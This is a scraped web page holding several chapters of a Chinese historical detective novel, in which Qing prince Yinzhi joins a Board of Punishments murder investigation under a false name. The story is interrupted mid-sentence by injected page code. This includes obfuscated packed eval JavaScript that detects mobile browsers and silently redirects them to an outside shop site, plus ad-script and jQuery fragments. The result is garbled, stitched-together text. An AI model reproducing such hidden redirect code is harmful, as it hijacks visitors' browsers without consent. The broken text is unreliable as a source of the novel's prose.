他刚刚抬眸,看见眼前景象的瞬间就惊得脚步一顿,还好三皇子和四皇子早早给他打了预防针,才教胤礽没失了仪态。
“大哥。”胤礽定了定神,昂首阔步往里走:“今日上朝时,大理寺卿与汗阿玛汇报了那桩案子。”
事关大皇子,又联系到皇太子的外家,而后还牵连出一桩六年前的旧案。
这案子送到步军统领衙门,再随后送至刑部、都察院和大理寺时,便引发官员震惊。
等到康熙帝下旨严查时,四家官署更是放下昔日龃龉,联手查办此案,花费数日从上到下全部捋了一遍,到今日终于把案件彻底整理清楚,并上奏与康熙帝。
“哦?难不成又查出什么问题来?”胤褆闻言,连忙把吃得饱饱的大格格送到乳母手里,又净了净手,请胤礽坐下说话。
恰好,武声等人也送上茶水蜜饯。
胤礽不与胤褆客气,坐下并端起茶盏来,与胤褆道:“没有的事!就和大哥说的一模一样!”
而后胤礽才说出其余胤褆不知道的事,原来这案子重新调查时,除去已知晓情况的步军统领麻勒吉相信胤褆的判断,刑部和都察院,乃至大理寺中不少官吏都不置可否,对胤褆得出的结论深表怀疑,更有人跑到太子乃至索额图跟前,信誓旦旦保证会将此事彻查到底。
“哼,大哥你没看见。”
“今儿个朝堂上,他们的脸色哦。”胤礽想了想,忍不住朗笑出声:“哈哈哈哈哈反正孤想想都觉得好笑!”
胤褆:“……”
他思考了下,觉得有一种可能,就是这件事涉及赫舍里氏,这才教大半官员如此慎重警惕。
至于步军统领麻勒吉则看到大部分经过,又早早知晓胤礽态度,这才力证他的判断没问题。
胤褆瞅了眼笑得欢畅的胤礽,再想想那帮企图给胤礽翻案,反而得罪胤礽的官员,没觉得那些人可怜,只觉得心情舒畅。
“真是。”他捡起一颗蜜饯丢嘴里,眉眼微沉,很能理解胤礽的心情:“居然非要把太子二弟你与那犯人联系在一起,到底是个什么想法?”
胤礽笑声戛然而止,瞧着胤褆的眼神热切三分。他腾地站起身来,看着一脸迷惑加震惊的胤褆,眉眼舒展,放声说道:“大哥说的是,孤也觉得奇怪,好端端的案子不查,倒是先到孤跟前表态。”
为何他一直不满,却是说不明道不清为何不满,胤礽后知后觉地回过味来,才惊觉他是委屈。
他行得正,坐得直,为何官吏却认为与他相关就得不同些?
胤礽思绪如堆在一起的枯叶堆,瞬间被怒火所点燃:“难不成往后孤身边人真做错了什么,他们会假装无事发生?还是从轻发落?又或是直接寻个替死鬼来背背黑锅?”
胤礽越说越气,怒火几乎要将理智燃烧殆尽。
胤褆瞧着,忽地站起身来:“走罢。”
胤礽先是一愣,只觉心中一跳:“什么?……去哪里?”
“去刑部、都察院和大理寺。”
15.第十五章
农历七月的天气热得惊人,悬挂在正中央的烈日宛如火球般熊熊燃烧,无情炙烤着大地。
就这等闲人不愿出门,又或是尽数到树荫底下躲避的高温日子,刑部府衙门口却是人来人往,不断有马车驴车在门口停下,青衣衙役和官吏更是行色匆匆,进进出出。
也有人注意到停在府衙对面的马车,虽说马车外肃立着几名侍卫,但车上门帘紧紧合着,就连一开始还漏着点缝隙的窗帘,在发现有人注意后也迅速合拢上。
有人察觉出异常,却又是没得功夫,与守门的兵卒小吏交代两句,又快步流星往里而去。
拉上窗帘的正是皇太子胤礽,他呆愣半响,而后才在胤褆的催促声中醒过神来,脑海里火气半点都没,只剩下荒谬和不可思议,他就这么跟着胤褆到刑部来了?
啊?啊?啊?
胤礽脑袋如一团浆糊,着实不明白胤褆的行动力怎能如此之快。
“二弟?太子二弟?”
“……”胤礽吐出一口长气,双手揉了揉脸。而后他站起身来,面无表情地抬步走下车:“进去罢。”
等几人走到刑部府衙门口,兵卒小吏也带着警惕迎上前来,不等他们开口,胤礽的贴身大太监石顺便上前悄声说上几句,登时教几人都变了脸色。
其中两名小吏引着众人往里走,另有一名脚程快的兵卒先行一步,赶紧到里头把这事通报给刑部尚书郎中等人。
胤礽和胤褆瞧见,都并不在意,两人并肩而行,都饶是好奇地打量四周。
刑部衙门与寻常百姓所猜想描述的不同,这里气氛并不阴森恐怖,甚至热闹得如同菜市场,入眼净是奔走往来官吏、衙役和兵卒,耳边全是各种说话争吵声。
胤礽蹙了蹙眉,有些不适,他头回到刑部衙门来,没想到这里竟是这般模样。
“两位,两位……爷。”引路的小吏不知应当如何称呼,最后含糊着用爷敷衍过去。他偷偷瞅着胤礽的神色,颤巍巍地解释道:“近来案子有些多,各队人马都被派遣出去查案,因此稍稍有些乱。”
“平时,平时要好些的。”小吏压着心里冒出来的心虚,硬着头皮为自家衙门贴一贴金。
“真的假的?”小吏没想到胤褆听他这么一说,反而露出惊讶之色:“我以为应当几乎日日如此才是。”
“哎?这个……这个……”
“这可不能说谎啊。”胤褆瞧着小吏冷汗直冒的模样,一时忍俊不禁。
这几日,胤褆也是做过一番功课的,大致了解时下的办案机构和办案流程。比如原本在明朝乃至更前的朝代里占据探案工作为主的大理寺,自清朝起只负责重大刑狱案件的复核审查工作,而同为三法司之一的都察院则主要负责各级官员廉政法纪。
先前曾在酒楼案内登场的步军统领,全称应当是提督九门步军巡捕五营统领,主要负责维护京城秩序,处理八旗宗室相关案件。
而剩余关于京城乃至天下各地司法事务,刑狱案件之事都归于刑部管理,这里的官吏兵卒数量也远超另外几个衙门,这么多人聚在一起,能安静才有个鬼呢。
胤褆收回目光,了解归了解,头回见到清代刑案衙门的他看哪里都觉得稀奇。胤褆边走边看,时不时还在石板路两侧的院落门口停下,探头往里瞧瞧。
按着小吏的介绍,胤礽与胤褆得知这些院落里分别是不同的小组,负责的是不同的案件。
因着案件进度不同,所以里面的办案官吏兵卒神情气质也是大有区别。先一个院子里的官吏眉眼舒展,脸上带笑,吆三喝四着带人往外奔去,下一个院子的官吏说不定便是眉心紧蹙,神色沉重,三三两两聚在一起认真研究。
胤褆一行人就这般慢悠悠地走过去,偶尔有人注意到他们,发现小吏的存在后又兴致缺缺的收回目光,把全部精神都集中在手里的案件上。
胤褆瞧着,心都痒痒起来,只恨不得能立刻马上加入其中,顺理成章地开始办案。
只是那个时机嘛——
就在此刻,胤褆身旁的院子里传出一声暴喝:“胡老三!”
紧接着,先是双手重重拍击桌面的声响,而后又传来几人的争执声。
“这些痕迹明明是生前形成的!”
“现在找不到人!凶手要不是他,他跑了做什么?”
胤褆醒过神来,顺着声音传来的方向走了几步,而后又听到那个声音怒道:“我知道你因你娘子早年抛下你们父子离开之事,你一直心怀芥蒂。”
“可你不能凭着偏见,连凶器,嫌疑人没找到的情况下,光凭现场的那点痕迹就将这起案件确定为女子弑夫。”
胤褆听罢,脑袋瞬间亢奋,他双眼放光,脚下步子都快了几分。
“哎?大,大——”引路的小吏见状,下意识惊呼出声,不过又迅速被胤礽喝止。
胤褆没注意身后的插曲,从走到小跑,很快顺着声音寻到那间屋子。他侧着身挤进人群,目光落在居中的二人身上。
两人一高一矮,一胖一瘦,脸庞涨得通红,正被另外几名官吏拉扯开来:“胡大人,胡大人,您冷静些!”
“孙大人,您也消停些罢!”
“别挤,别挤,前头还有人呢。”
“又是在说小桃村的那桩案子?今儿个都吵了三回了吧?”
“小桃村?什么案子。”
“就是姚大郎那案子,受害人被勒死在室内,屋里没有任何打斗和翻动的痕迹,因此被确定是熟人作案。”
“头号嫌疑人,便是姚大郎的妻子。”
“奇怪的是她妻子当日便失踪了,至今尚未寻到她的踪迹,孙大人怀疑其中还有第三人,而胡大人觉得是妻子勒毙丈夫,而后卷了财物逃跑。”
胤褆听罢,若有所思,顺口问道:“那为何孙大人要教胡大人不要偏见?”
“你们这帮年轻人不懂。”旁边年长些的官吏抚了抚胡须,悄声与众人道:“这事都是好些年前的……听说胡大人那时候家贫,为了些银钱的事他和他妻子就争执起来,后头说是要拿银钱去买布料,结果拿钱出门后就再也没回来!”
“嗬,还有这等事?”
“对,后头还去报案了,听说官府寻到了目击证人,那人见着他妻子拎着包袱出门的!”
“哎……这事。”
“也难怪胡大人对这事这般敏感。”
细碎的议论声传入胤褆耳中,同时也传入胡大人和孙大人的耳中。
胡大人无地自容,双手捂着脸说不出话来。那边的孙大人冷静下来,也自知是他口不择言,闹到现在这般地步,他干脆利落地给了自己一耳光,而后又是深深鞠躬:“胡兄,是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673015|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我失言……我,我只是想着先前石家村的案子,这事没确定凶手,若是,若是那女子真是无辜,谣言四起下……她日后怎么办?”
“石家村的案子?那是什么?”
“咦?还有人不知道?就是那家小叔子冤枉寡嫂偷人之案!”
先前的年长官吏闻言,脱口而出:“起初当地衙门误判此案,更是闹得当地流言蜚语不断。”
“而后经过刑部查证,推翻原本的判决,还了那妇人清白。只可惜那妇人却已不堪邻里周遭流言蜚语,回到家中没两日便选择自尽。”
“这事传得极为厉害,扰得人心惶惶,图纳尚书得闻此事大发雷霆,严令在定案前传播消息……等等?这事咱们刑部上下应当都知道的,你是哪支队伍里的,怎么连这事都不知道?”
年长官吏越说越不对劲,转身来看,等见着穿着一身常袍的胤褆后面色突变,厉声喝斥:“你是何人?在这里做什么?”
他的惊呼声引来屋里人的注意,同时也让赶来的刑部尚书等人加快了脚步。
只是走到门口,他们便听见胤褆的声音:“哦,我是今天刚来刑部报道的,所以不知道您说的事。”
“新来官署的?我怎么没听说?”
“是的,不信的话你可以问问陈司官。”胤褆不慌不忙,伸手指向刚刚带来的那名小官吏。
陈司官瞪着眼儿,给他再大的胆子他也不敢拆穿大皇子的谎言,只好硬着头皮点了点头:“是这样……没错,周大人。”
陈司官瞧了眼胤褆的眼色,喉结滚了滚,欲哭无泪的帮忙填补:“既然他对这案子有兴趣,不如周大人就说一说罢。”
“哎?原来是刚刚来的新人呐。”
“你先头是在何处为官的?可有办案监察之经验?”周大人抚了抚胡须,上下仔细打量胤褆。
为了保持刑部在司法方面的超然地位,清代刑部非常专业,能进入刑部的官吏,都是从各地提拔出来的尖子生,每一个都是极为上好的苗子,说是六部之中最卷的官署也不为过。
周大人瞅着相貌堂堂的胤褆,想着他应当是有出色天赋,才能被一举推荐到这里来,心下算盘敲得起劲。
“只破过一二案子,不值一提。”
“好好好,是个谦虚的孩子。”周大人脸色喜色更浓,至于胤褆说的一二案子,他是万万不相信的。
“那不如先跟咱们一组?”周大人脸上带笑,伸手拍了拍胤褆的肩膀。他没注意陈司官脸上表情,自顾自拉着胤褆:“来来来,我来给你说明说明情况。”
“闹,在说话的是胡大人和孙大人,两位也是咱们组的上官,皆是六品主事。”
“你别看他们时下闹得不好,其实平日合作起来很有默契的,咱们一组可是刑部里出了名的尖子,就是在皇上跟前都是有数的。”周大人拍了拍胸膛,又冲胤褆眨眨眼:“怎么样?是不是很想加入我们小组?”
“我还得听上峰安排才是。”
“有你这话就行。”周大人信心满满,抱着只要带着眼前少年郎办个案子,定然教他死心塌地,自愿加入自家队伍中:“来来来,我带你去瞧瞧卷宗。”
胤褆跟着周大人翻阅卷宗,门口的尚书图纳瞪着这一幕,又转身看向胤礽:“皇太子殿下,您,您。”
您管管大皇子啊!
16.第十六章
刑部尚书图纳为官数十年,就没像今日这般无语过,他捂着胸口,感受今日蹦跳得格外快的心跳,努力平息泛起来的无奈感,想不好应当怎么处理这事。
大皇子胤褆破案的事,刑部尚书听过,还知道这桩案子与赫舍里氏门下人有关,更知道有些人意图靠这事讨好皇太子。
至于成没成,看今日皇太子的反应,刑部尚书图纳便有了答案,暗道那帮子人着实没眼色劲。
人家天家兄弟,自家互相掐架也就罢了,你们一群人掺和进去做什么?
“可这……也不能让大皇子真跟人去办事吧?”旁边的官员瞧着里头景象,直犯嘀咕。
教他说再不上前阻拦的话,大皇子都要跟着那周主簿去现场了,这,这传出去像话吗?
“……跟去就跟去吧。”
“啊?”旁边的官员听尚书图纳的说,一双眼儿都瞪得和铜铃般。他嘴巴开合半响,才寻回自个的声音:“大,大人!大皇子这般涉及刑部事务,这,这,这不合规矩啊!”
“什么规矩不规矩的?去去去,都交代下去,教几个知情的闭上嘴,别让其余人知道了。”尚书图纳斜了眼身边人,恨铁不成钢的叮嘱。
大皇子涉及刑部事务?笑死!这天下都是姓爱新觉罗的,皇上没发表意见,他这个当刑部尚书的发表意见做什么?他是刑部尚书,给皇上办事的人!
尚书图纳还想安安稳稳颐养天年,别说大皇子现在介入的是桩小案子,就是大案……那他也得先禀告于皇上,请皇上圣裁。
再说了天塌了有高个子顶着,而这事儿捅出去也有皇太子可以扛。
尚书图纳想到这里,面上气定神闲,朝着胤礽拱了拱手:“太子殿下,您看这事接下来怎么办?”
胤礽抬眸扫视一圈,被案子钓成翘嘴的胤褆已忘记正事,屁颠屁颠的跟着周主薄翻看卷宗中,尚书图纳瞧着憨厚,实则准备把责任往他身上推,另外剩下的那帮官吏傻乎乎的,满脸写满了迷茫二字。
胤礽又好气又好笑,只觉得自己这一天过得分外荒谬。他忍不住笑出声来,冲着尚书图纳摆摆手:“回去以后,孤会将此事禀告于汗阿玛。”
“是。”尚书图纳脸上带笑,恭恭敬敬地应了声。他见此事已经解决,众人簇拥在院里很是引人瞩目,连连开口请太子出了院子,亲自引着太子在刑部各处逛了逛。
这边,胤褆早已把胤礽等人抛到脑后,如痴如醉地翻看着卷宗,时不时还抛出几个自己的疑点,引得屋里人频频侧目。
周主薄越听越是欢喜,瞧着胤褆那是左看右看,心里满意得很。他开口想要称赞几句,却是一愣,随即一巴掌拍额头上:“瞧瞧我,都忙糊涂了,竟是没问你的名姓!”
“你叫什么名字?如今几岁?时下几品?”
“我姓殷。”胤褆下意识回答。他反应自己说出口后,心思微动,没有停歇地往下说道:“名镜观,时下十九岁,不过九品司官。”
“镜观?明镜高悬,观察入微……好名字,好名字!”周主薄闻言,下意识呢喃两句,连连点头。
在时下的县衙公堂上方,多会悬挂一块匾额,上书四个大字:明镜高悬,意指明察秋毫,清正廉洁。
镜观两字连在一起,真真是个合适的名字,更直白来说,这名字瞧着就是个该进刑部的料!
周主薄瞧着胤褆,越看越满意,至于九品司官也是正常得很,毕竟寻常人家未满二十岁的青年才俊,还都在家中研读,参与科举,能以这个岁数被举荐到刑部来为官的,想来应是有独道天赋,同时读书略逊一筹。
这般出身,往后晋升得辛苦些。
周主薄想了想,又好奇问道:“你有否定亲?家里有几口人呐?”
“我已成亲了,膝下有两个孩子。”
“家里父母祖母都康健,我是长子,后头还有好些个弟弟妹妹。”
周主薄的眼神瞬间柔和不少,又改了改自个儿的猜测,是长子,又已成家立业,莫不是家境窘迫支持不了这么多孩子读书,这才叫他没走科举的道路?
胡主事和孙主事也不知何时起,也不争吵了,仔细打量了胤褆一番,唤人到跟前询问一二。
“今日刚到刑部报道的?”
“现在也不是调人的时候啊?我也没听人提起过?”孙主事比周主薄慎重,心下生疑,当即使人去查证一番,亏得尚书图纳提前做好准备,这才没让胤褆当场露馅。
确定胤褆身份没问题,孙主事也没再多虑,他脸上带笑,招手教胤褆上前来:“镜观?你应该见过尸首的吧?”
“见过的。”
“那成,走吧。”孙主事看胤褆回答得干脆利落,心下满意,直接教胤褆加入队伍,一道去凶案现场瞧瞧。
时下验尸并非送往专门之地处理,而是会在原地进行,以确保尸体身上的痕迹能不被破坏,尽可能保证证据的完整性和真实性。
只不过若是骸骨之类还好些,换做这回的案子,情况就有些糟糕。
比如现在。
顶着夏日的高温,即便办案官吏已在屋内放置冰块降温,也无法避免尸体腐败散发出来的阵阵恶臭。
一行人刚刚走到院门口,尚未推门就能闻到一股子若隐若现,教人很是不适的气味——那是尸体的气味。
正当胤褆等人要往里走时,几个村民凑上前来:“官爷,姚大郎的案子破了吗?”
“尚未,不过快了。”
“这都三四天了!”村民失望地叹气。
“就是说啊,姚大郎死了,尸骨总得入土为安吧?”
“咱们也不是想妨碍公务,就是那屋里的气味忒大了点!”
村民们的抱怨声此起彼伏,而官吏对此也是习以为常,熟练地安抚着众人。
只是村民的情绪非但没有平缓,还越发高涨,不满声此起彼伏:“隔壁村里都传起风言风语,咱们村里人头都抬不起来!”
“还有我家孙子连着做了好几天噩梦了……我怕是被姚大郎的冤魂给魇住了!”
…………
负责看管罪案现场的小吏很是无奈,悄声与孙主事和胡主事解释:“前两日村里办了喜宴,有两名宾客喝醉了酒,跌跌撞撞来到这边,等咱们几个上前拦住后他们吓得跑回去,有个还摔进沟里,回去非说是被魇住了——”
“这不,事情就传开去了。”
“那抱怨的老人家,便是新娶媳妇那家的。”守门的小吏和兵卒都很是无奈,可这事又和案子无关
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687484|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他们总不能拿针线把村民的嘴给缝上罢。
“罢了,就让他们说说吧。”
“咱们先进去,早点把案子处理完就是……”孙主事摇摇头,招呼着众人往里走,只是他一回头就见胤褆蹙着眉,走到几名百姓跟前:“大爷大娘。”
“这小子!”
“你是哪个?”为首的老大爷眯着眼打量胤褆,瞧胤褆模样白白净净,细皮嫩肉,登时挥挥手教他去一边:“去去去,我不是来和你说话的!”
“我是名道士。”胤褆眼都不眨一下,又给自己添了个新身份。他背着手,微抬下巴,看向众人:“因此地怨气横生,所以刑部官员请我到此地查看一二。”
这话一出,老大爷僵住了,他上下打量着穿着绸衫的胤褆,见他根本没穿道袍后稍稍松了口气,抬高声音:“别——”
话没说完,胤褆打断了他的话:“那位郎君乃是横死,心下不平,冤魂正缠绕在村头之上,久久不愿离开。”
“真的假的……”有人悄声道。
“当然是真的。”胤褆抬眸看向站在边上的一位老太太:“老人家,我瞧您走起路来总想要一跳一跳?”
老太太撑着身子,面色大变。
胤褆微微叹气:“您不用紧张,可否告诉我您最近晨起时是不是总觉得双下肢麻木,身体有种不听使唤?”
“是,是啊!”
“那就对了,那是冤魂想要上身寻仇人!”胤褆板着脸,说的话语让村民们齐齐色变。
“什么?”
“姚大郎……我没害姚大郎啊!”老太太吓白了脸,嘴唇直哆嗦。
正当村民人人自危,惶恐非常时胤褆又开口安抚道:“大家放心,姚大郎目前还只是普通怨鬼,并不会教人出现生命危险,只是咱们能够解决案件,寻出真凶,他的怨气也会随之消退。”
“……”村民们渐渐安静,半响为首那位老大爷才小声抱怨:“可你们的动作太慢了啊……”
“老大爷,还有大家,你们想想,想要是咱们随随便便办事,没有抓获到真凶,那岂不是无法安抚他的冤魂?”
“时下冤魂便有教人推下水沟,常做噩梦之威力,若是真闹出个冤假错案,又或是变成悬案,那怕是冤魂的法力越发强盛,变成凶神厉鬼也不一定。”胤褆面庞严肃,话语有条有理,那笃定的态度教村民们神色一变,信了七八成。
为首的老大爷反应最为强烈,他喉结滚动,连连连点:“对对对对,就是这个理!”
“我可没拦着查案的意思啊!”
“对对对,我也没有!”
其余村民回过神来,忙不迭地退后几步,一个个力图表现出自己盼望案子早日被破的态度,以免冤魂寻上自家来。
胤褆安抚完众人,转身走进院子,然后对上一张张面无表情的脸庞。
“镜观,你真是道士?”周主薄道。
“当然不是。”胤褆瞅了眼几人,断然回答道。
“那你怎么知道她被鬼上身的?”
“那不是鬼上身啦。”胤褆哈哈一笑,与几人解释道:“我瞧见那位大娘走起路来一瘸一拐,呈跳步之姿,还不自觉地想要去扶腰,想来应当是身患腰痹之症,就顺口诈上一诈。”
17.第十七章
众人面面相觑,暗暗感慨胤褆胆大,不过胡主事闻言,却是忍不住蹙起眉头。
待进了院子,见村民走远以后他冷下脸来,一板一眼道:“小子,咱们的一举一动,老天爷都看在眼里的。你拿鬼神之事来胡言乱语,小心老天爷震怒。”
孙主事听他说第一句话便满心无语,连忙帮忙解释:“胡主事这人刀子嘴豆腐心,说话直白了些,你千万别怪他。”
“我知道的。”胤褆并无埋怨的心思,反而看出胡主事的好意。
胡主事恐怕是担心他多嘴多舌,万一哪回出了差错,说不定就被人抓住错处,借题发挥,真和什么自然表现联系在一起,捏个老天震怒之类的名头,放在这个时代,风险大了去了。
孙主事闻言,眯着眼仔细打量胤褆,瞧他真是完全没放在心上,这才松了口气。
不过下一秒,他就知道自己放心太早了,只见胤褆正色看向胡主事,拱了拱手道:“胡主事,您的这番话虽说是好意,但我也想反驳一二。”
“喂!”周主薄瞪圆了眼。
“我想老天爷是讲道理的,要惩罚谴责的也应当是那些个犯人。”胤褆不顾周主薄的阻拦,直直看向胡主事:“再说了,我也不怕鬼神。”
他伸手推开门,平静面对扑面而来的恶臭。胤褆转身看向身后几人,甚至冲着他们弯了弯眉眼:“要是鬼神之类的真能直接杀人,那还要咱们这些查案探案的人做什么,直接回家得了。”
胡主事愣在原地,默然不语。
孙主事瞪着眼,好半响才回过神,他与周主薄对了个眼色,悄悄竖起大拇指,好好好,好眼光,真是个好苗子!
周主薄把孙主事的赞赏纳入眼里,扯了扯嘴角,非但没心生欢喜,反倒是有种以后都没得安宁的强烈预感。
这孩子,瞧着,有点……闹腾啊!
周主薄闭口不言,全装作自己没注意到孙主事的视线,他慢吞吞地往前,顺手把胤褆推进屋里:“两位主事,时间紧张,赶紧开始查验罢!”
说起正事,所有人立马敛了面上笑容,迅速集中精神进入工作状态:“周主薄,你带人再把屋子内外彻查一遍,不能放过所有蛛丝马迹!”
“是。”
“林捕头,你带人再去与村里巡视,与百姓们聊聊天,瞧瞧有没有漏掉的线索。”
“是!”
“王令史,你再去与最后遇见姚大郎和姚娘子的目击证人交谈一番,瞧瞧口供上有无出入。”
“是!”
随着胡孙两名主事接连不断下达命令,刑部官吏们也带着差役四散而开,最后孙主事将目光转向胤褆:“镜观,你四处瞧瞧,莫要上手,有疑问的地方就问问周主薄或者负责的官吏,知道了吗?”
“是。”胤褆肃容应下,加快脚步追上周主薄,跟着他先把整座民宅转了一圈。
面前这间民宅不大,总共只有三开间,正中间的是堂屋,左侧是卧室,右侧则是灶房,死者是死在堂屋里。
“有没有看出什么特别之处?”
“屋子很整齐,非常整齐,且不说打斗情况,就连大门也没有被撬开的痕迹,甚至看上去像是主人家出远门……”胤褆听罢,很快给出答案。
“没错。”周主薄点了点头,与胤褆说着发现当日的情况:“岂止是整齐可以形容,咱们头一回来的时候这屋子可以说是一尘不染。”
“是被凶手清理过?”胤褆疑惑道。
“起初我们也是这么以为的。”周主薄一听这话,先是点点头,而后摇摇头:“不过很快,我们就推翻了这个结论。”
“根据与姚大郎往来比较频繁的邻里说,那位失踪的姚娘子有些洁癖,每日都要把屋里屋外清理好几遍,就连物件都要摆放得整整齐齐。”
“也就是说凶手可能没有翻找过屋子,杀人后便直接了当的离开。”胤褆迅速消化周主薄给出的信息,得出结论:“或许不是为了钱财,而是情杀或者仇杀?”
周主薄一听这话,却连连摇头:“不不不,凶手将女眷的首饰带走了。”
“在走访周遭人家时,有村民告诉我们姚大郎生前曾在村民跟前炫耀,说是他给妻子在庆云首饰铺定了金饰。”
庆云首饰铺乃是京城里名气不小的首饰铺子,据说不少有数的八旗人家都曾在他们家定做过首饰,当然价格也是不菲。
“嗯?”胤褆回忆了下,又抬眼环顾三间房屋,略显困惑:“我瞧着他们家的家境好像也不怎么样,真有这个银钱到庆云首饰铺购置首饰?”
“先前我们也不信,后头几位大人特意去庆云首饰铺询问一番,原是姚大郎和里面的匠人认识,自个儿攒了金银送来,请匠人帮忙做的。”
旁边的小吏闻言,迅速给出答案:“当时那位匠人还说,姚大郎告诉他这是送给妻子的礼物,要在妻子生辰的时候送给她。”
“她妻子的生辰……”胤褆听到这里,灵光一闪,忽然问道。
“就是姚大郎死亡的当天!”小吏深吸一口气,摇了摇头:“据那名匠人所说姚大郎为了给妻子庆生,已提前将首饰带了回去,如果凶手是村里知情者,应当知道这首饰的价值。”
胤褆垂首,认真思考。
另一边,周主薄从小吏手上接过一份清单,细细翻看:“村民有没有人反应,屋里可少了什么东西之类的。”
“除去姚娘子平日戴的首饰,说是衣服也似乎少了四五件。”小吏闻言,给出个模棱两可的答案。
“都无法确定?”
“是……周遭邻里与姚大郎,姚娘子虽说认识,但关系都普普通通,只确定姚娘子两身缎子衣衫没在清单内,至于其他普通的布衫,他们也记不清。”
“唔……这样啊,屋里也没有多余的痕迹,不似外人来翻找过。”周主薄蹙着眉梢,一页一页翻看:“果然最大的嫌疑人还是姚娘子。”
“不过也有可能是凶手伪装的。”胤褆凑上前,瞅了眼清单,心里有了个猜测。<
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“这话怎么说?”
“寻常我们要逃跑,尤其是要不引人注意逃跑的话。”胤褆竖起手指,教两人顺着自己的思路往下思考:“不得穿得不起眼些吗?”
就像是上个案子的章泰,戴上斗笠,换上素色衣衫,混入人群里教人分辨不出才是。
“缎子衣衫价贵,许是舍不得?”
“唔……即将逃亡的人还能想到这点上吗?”胤褆反问一句,抬眸看向小吏:“刚刚大哥说了,周遭邻居能确定的就是这两套缎子衣衫,邻里能记得这么清楚,想来那两套缎子衣衫应当是附近少见的,怕是连款式花色都能被人说出来。”
“这般的衣服,别说直接穿在身上,就是拿去周遭当铺也会被人注意到吧?”
“教我说,指不定是犯人也知道这事,故而拿走来让人转移视线,把嫌疑丢到姚娘子身上。”
这么一想,好像又有些道理。
正巧前去对证口供的王令史归来,胤褆并周主薄几人索性上前,询问起来。
“最后见到姚大郎的人是隔壁邻居赵某,他在命案发现前三天见着姚大郎,当时姚大郎脸色不好,咳嗽不断,像是得了伤风,说是得休息几日。”
“因此后面两日没出工,他也没在意,直到三日后去唤他上工,才发现凶案。”
“至于最后见到姚娘子的是村头的吴娘子,那是凶案发现前一天的早上,她见着姚娘子从田埂上走过,因着身上穿着缎子衫裙,瞧着花哨得很,所以记得清清楚楚。”
“作证的还有另外几人。”
“不过姚娘子拎着包裹疾步匆匆的,压根没搭理他们的呼喊,因此吴娘子几个也不知道她究竟是去了哪里。”
“我今日又就细节细细问了几遍,依然没有出入,几人的回答也和之前能够合上。”王令史神色严肃,把得来的消息告诉几人。
“没有交谈?”
“对,据说因为姚娘子的洁癖相当严重,不爱和村里人接触,所以吴娘子几个当时也没在意。”
王令史沉着脸,摇了摇头:“我这回觉得胡主事说得有道理,姚娘子的嫌疑果然很大。”
“……果然不对劲。”
“什么?”王令史瞧着眼前三人,有些不明所以。
“我之前办过个案子,嫌疑人就是靠别人注意到他,然后给出不在场证明。”
胤褆眸色一深,回想起章泰利用喇克达给自己作不在场证明的事,当时章泰便是利用心理因素和视觉作用,让喇克达误以为自己从后院去了茅厕。
“要是对方知道姚娘子与村里人关系并不和睦,同时那两身衣服也很是显眼,教人能一眼见着就肯定是她……”
胤褆与周主薄交换了个眼色,两人齐齐有了猜测:“就能非常轻松地将嫌疑推给姚娘子。”
王令史瞪圆了眼,倒吸了口凉气,他重复几遍越发觉得有道理,猛地转身往外冲去:“我再去问问,村里人最后有交谈或者有近距离接触姚娘子是什么时候!”
18.第十八章
“王——嗬!出了什么事?”
再说那孙主事,他一转身就见着如旋风般往外冲去的王令史,惊得一激灵,还以为是外头出了什么事,忙不迭追上前查看。
偏生等他追到门口,王令史与几名差役已消失在街道拐角处,任凭他连连呼喊都没人应答。
孙主事摸不着头脑,心下狐疑,往里走时瞧见周主薄和胤褆几人,询问道:“王令史是怎么了?突然不说一声就往外跑?”
胡主事刚听见孙主事的惊呼声,此刻也走了出来。他手里还捏着翻看到一半的卷宗,闻言道:“许是寻到什么线索?这才匆匆出去查看的。”
“胡主事说的是。”周主薄喜气洋洋,越想越觉得那猜测有几分道理。
“孙主事,是这样的,镜观刚刚提出个猜想,王令史觉得有几分可能,特意去外头寻百姓问个究竟。”周主薄闻言,忙上前把事情经过说了个明明白白,更是讲明都是胤褆的功劳。
孙主事和胡主事听着也觉得有几分道理,频频点头:“你想的有理有据,很是不错,若是如你所想,本官定要给你记上大大一笔功劳!”
“下官也是曾遇见凶手用相似手段,这才有这等猜想,算不得什么功劳。”
“啧,瞧你这小子还谦虚上了!”孙主事伸手拍拍胤褆肩膀,与他道:“本官不晓得你过去的队伍是什么样子的,不过咱们队伍与旁处不一样,有什么想法都可以说出来,是谁的功劳就是谁的功劳。”
胤褆定定看了眼孙主事,垂眸应是。
孙主事没想自己一番话就能打动胤褆,笑眯眯地立在门口,期待王令史能带回个突破口来。
谁想王令史一去,竟是去了小半个时辰。正当孙主事心生担忧,点了人去村里寻觅时,街角出现了王令史的身影,除他与几名差役外,队伍里还多了几个村民。
随着王令史等人靠近,孙主事等人也瞧见他脸上的喜色,登时晓得王令史应当取得了新线索!
“孙主事,胡主事。”
“好了好了,别行那些个虚礼了。”胡主事喊住行礼的王令史,拉着他往里走,教他赶紧说一说查到的新线索。
“下官得到两个消息。”
“莫不是一好一坏?你小子还有闲心逗趣?还不赶紧道来!”
“第一,就如殷司官所说,吴娘子等人当日都是远远见着,并未对话,只是靠衣着形容觉得对方是姚娘子。”王令史眼见破案的曙光近在眼前,忙请吴娘子上前说话。
